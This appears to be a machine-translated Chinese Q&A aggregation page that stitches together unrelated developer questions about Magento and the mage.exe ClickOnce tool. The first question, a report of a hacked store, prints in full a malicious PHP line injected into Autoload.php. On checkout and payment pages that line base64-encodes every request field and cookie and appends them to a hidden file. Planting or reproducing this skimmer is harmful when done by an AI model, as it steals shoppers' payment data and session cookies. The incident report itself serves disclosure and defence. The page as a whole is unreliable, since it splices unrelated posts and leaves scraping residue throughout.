从今天早上起,我在运行Magento cronjob后收到以下PHP通知:
未定义的索引:第1行的/htdocs/lib/Varien/Autoload.php中的REQUEST_URI
我没有修改任何法师文件..这怎么可能?
编辑:现在我编辑了Autoload.php,首先检查是否设置了REQUEST_URI.
原版的:
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
Run Code Online (Sandbox Code Playgroud)
新:
<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
Run Code Online (Sandbox Code Playgroud)
编辑30-04-2015:
在阅读@volkan和@ b.enoit.be评论之后,我立即用Magento中的原始页面替换了指定的页面,并且该行确实不存在!
以下是Autoload.php中存在的恶意行
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>
Run Code Online (Sandbox Code Playgroud)
我也检查过:
然而..有两个新的管理员用户名称晦涩难懂:
两个用户都已被删除.该网站也很容易受到shoplift漏洞攻击(最新安全补丁中提到)
我们目前正在忙着安装最新的安全补丁.
这似乎是最近的一个问题:
随着攻击者利用Magento bug Magento Shoplift Bug Tester v1.0,10万家网店开放妥协
感谢所有用户的帮助.
Iam在尝试使用MAGE.exe和SHA256 RFC 3161时间戳签署clickonce(.application)时出错.
mage.exe -s /path/to/our/.application"-cf certfile -ti [RFC 3161 timestamp]
我收到以下错误:
"内部错误,请稍后再试.参数不正确."
如果我尝试在没有时间戳或SHA1时间戳的情况下进行签名,一切正常.
你能否建议使用SHA256 RFC 3161时间戳的一次应用程序签名点击的正确方法
我可以用常规的mySQL做到这一点,但我希望能够做到"magento方式",因为它......
我想做的是运行一个查询,它将在订单日期之间为我的订单总计SUM(grand_total),即计算出2012年7月的总收入.
我已经尝试了各种各样的变化,我可能非常接近或者我可能在一百万英里之外,所以我很感激任何人都可以给我的帮助!到目前为止我所拥有的是:
$orders = Mage::getModel('sales/order')->getCollection();
$orders->addAttributeToFilter('date_field', array(
'from' => '2011-09-01',
'to' => '2011-09-30',
));
$orders->addExpressionAttributeToSelect('grand_total', 'SUM({{grand_total}})', grand_total);
$orders_total->getSelect()->$orders->grand_total(SUM(grand_total));
Run Code Online (Sandbox Code Playgroud)
先感谢您!
我正在设计Magento 1.4.2中的管理模块.我正在开发一个显示产品详细信息(产品名称,SKU,价格,特价,数量)的网格布局,我显示了所有列.我无法弄清楚如何在一列中显示特价.我无法检索特价.帮我解决这个问题.
我用这个代码来获取价格.
$collection->joinAttribute('price', 'catalog_product/price', 'entity_id', null, 'left', $store->getId());
Run Code Online (Sandbox Code Playgroud)
这段代码我用来为价格添加一列.
$this->addColumn('price', array(
'header' => Mage::helper('catalog')->__('Price'),
'type' => 'number',
'width' => '1',
'currency_code' =(string)Mage::getStoreConfig(Mage_Directory_Model_Currency::XML_PATH_CURRENCY_BASE),
'index' => 'price',
'editable' =>true
));
Run Code Online (Sandbox Code Playgroud)
但我不能以特价来做同样的事情.
我在模板文件中price.phtml.我想有一些代码行查看调用块的父代,并根据它做一些行为.基本上,如果父项是目录列表页面,我希望将from: 标记添加到价格中.如果父母是configurable.phtml,我想简单地显示价格.
我已经有代码添加from:到价格但我需要if语句来告诉父调用者是什么.
::parent在仔细阅读Mage文件时,我曾见过类似的东西,但我不知道这是否适用于此......
谢谢!
我在magento使用Amasty shopby扩展.有没有办法重新排序过滤器?例如,如果我想在价格之前放置滤色镜.我该怎么做?
有没有办法在管理面板中执行此操作?或者也许通过db?
我尝试使用mage.exe(位于“ C:\ Program Files(x86)\ Microsoft SDKs \ Windows \ v8.1A \ bin \ NETFX 4.5.1 Tools \ mage.exe”中)从应用程序生成clickonce文件针对.Net 4.5。一切正常,但在* .application文件中有一个“ compatibleFrameworks”部分:
<compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
<framework targetVersion="4.0" profile="Client" supportedRuntime="4.0.30319" />
<framework targetVersion="4.0" profile="Full" supportedRuntime="4.0.30319" />
</compatibleFrameworks>
Run Code Online (Sandbox Code Playgroud)
我不知道为什么框架设置为4.0。我想在生成的文件中最终获得.Net 4.5,所以像这样:
<compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
<framework targetVersion="4.5" profile="Full" supportedRuntime="4.0.30319" />
</compatibleFrameworks>
Run Code Online (Sandbox Code Playgroud)
我应该改变什么?为什么merge.exe在兼容框架上没有设置正确的版本?我不想手动修改。
我想在magento主题实际产品详细信息页面做一些更改,但我无法找到它是什么主题.文件可以有4个目录.
在应用程序/设计中有2个目录,默认和基础,然后更多和皮肤文件夹中的层次结构相同
那么在某些地方我可以看到正在使用哪些文件,或者是否存在magento中的一些变量或函数,我可以用它来检查它从哪里获取文件.我对magento和zend框架知之甚少.我试图在product_controller中回显一些内容,但似乎我没有在write文件中打印输出.那么我可以知道产品详细信息页面视图的文件在哪里可以添加表单和链接,我可以在产品详细信息页面中添加任何类型的magento自定义HTML吗?我实际上想要一个表单,它将把它带到我将在magento中创建的anohter页面,该页面将使用表单中的一些数据.或者,如果它有一些扩展?
请告诉您是否知道任何相关信息,非常感谢.
谢谢
我有一个导入脚本,可以导入超过2000多种产品,包括他们的图像.我通过CLI运行这个脚本,因为我觉得这是速度快的最好的方法,即使我有相同的导入脚本可用并在magento admin作为扩展可执行.脚本运行得很好.几乎完美!然而,有时会以addToImageGallery某种方式发生故障并导致某些图像具有No Image默认产品图像和唯一未被选择为默认图像的其他图像.如何批量更新所有产品,以将产品的媒体库中的第一个图像设置为默认的"基本","图像"和"缩略图"图像?
你好朋友我需要骑过magento核心控制器
我想覆盖一个 Mage\ImportExport\controllers\Adminhtml\ExportController.php
在我的 community\compnyname\modulename\controllers\Adminhtml
这是我的 config.xml in \compnyname\modulename\etc
<?xml version="1.0" encoding="utf-8"?>
<config>
<modules>
<company_module>
<version>1.0</version>
</company_module>
</modules>
<global>
<rewrite>
<company_module>
<from><![CDATA[#^/controller/adminhtml/#]]></from>
<to>/controller/adminhtml/</to>
</company_module>
</rewrite>
</global>
</config>
Run Code Online (Sandbox Code Playgroud)
这是我的控制器代码 \compnyname\modulename\controllers\Adminhtml\ExportController.php
<?php
require_once('/Mage/ImportExport/controllers/Adminhtml/ExportController.php');
class company_module_ImportExport_Controller_Adminhtml_ExportController extends Mage_ImportExport_Adminhtml_ExportController
{
function indexAction()
{
echo "i am called";die;
}
}
?>
Run Code Online (Sandbox Code Playgroud)
请帮我改写控制器
我的代码在哪里出问题?
我需要知道如何通过ID在页面中显示产品,例如(购物车,总共低于).例如:id为2,3,4和5的产品.
<div class="freeProducts voucher code">
<?php
$categoryid = 64;
$category = new Mage_Catalog_Model_Category();
$category->load($categoryid);
$collection = $category->getProductCollection();
$collection->addAttributeToSelect('*');
foreach ($collection as $_product) { ?>
<a href="<?php echo $_product->getProductUrl() ?>"><img src="<?php echo $this->helper('catalog/image')->init($_product, 'small_image')->resize(200); ?>" width="200" height="200" alt="" /></a> <a href="<?php echo $_product->getProductUrl(); ?>"><?php echo $_product->getName(); ?></a>
<?php } ?>
</div>
Run Code Online (Sandbox Code Playgroud)
此时我可以看到每个产品的图像和标题.我需要显示ADD TO CART和价格.
有人可以帮忙吗?
当应用程序文件具有*.deploy扩展名时,如何使用mage.exe创建ClickOnce部署清单?有些人放弃并使用MSBuild.exe和GenerateDeploymentManifest任务.如果你想直接使用mage.exe怎么办?
mage ×12
magento ×9
php ×6
clickonce ×2
e-commerce ×2
.net ×1
c# ×1
enterprise ×1
magento-1.7 ×1
mysql ×1
overriding ×1
rsa-sha256 ×1
sha256 ×1